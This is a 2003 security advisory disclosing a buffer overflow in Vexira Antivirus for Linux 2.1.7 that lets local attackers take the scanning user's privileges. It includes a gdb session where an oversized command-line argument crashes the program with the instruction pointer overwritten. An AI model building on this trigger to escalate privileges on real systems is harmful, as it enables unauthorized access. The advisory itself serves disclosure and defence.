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Buffer Overflow in Vexira Antivirus
Date: 2003-04-21

Author : SECURITEAM <http://www.securiteam.com>

Buffer Overflow in Vexira Antivirus
------------------------------------------------------------------------


SUMMARY

<http://www.centralcommand.com/linux_products.html> Vexira Antivirus is
"A complete virus defense system designed for easy and dependable virus
prevention on Linux based servers." The product has been found to suffer
from a buffer overflow that allows local attackers to gain the privileges
of the scanning user.

DETAILS

Vulnerable systems:
* Vexira Antivirus for Linux 2.1.7

Example:
[lucae@linux]$ gdb vexira

GNU gdb 5.2.1-2mdk
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...
(no debugging symbols found)...
(gdb) set args `perl -e 'print "ABCD" x 70'`
(gdb) run

Starting program: /usr/lib/Vexira/vexira `perl -e 'print "ABCD" x 70'`
Vexira Antivirus / Linux Version 2.1.7
Copyright (C) 2002-2003 Central Command, Inc. and/or its suppliers.
Portions copyright (C) 1996-2003 H+BEDV Datentechnik GmbH.
All rights reserved.

(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb)


ADDITIONAL INFORMATION

The information has been provided by <mailto:luca.ercoli@inwind.it> Luca
Ercoli.

========================================


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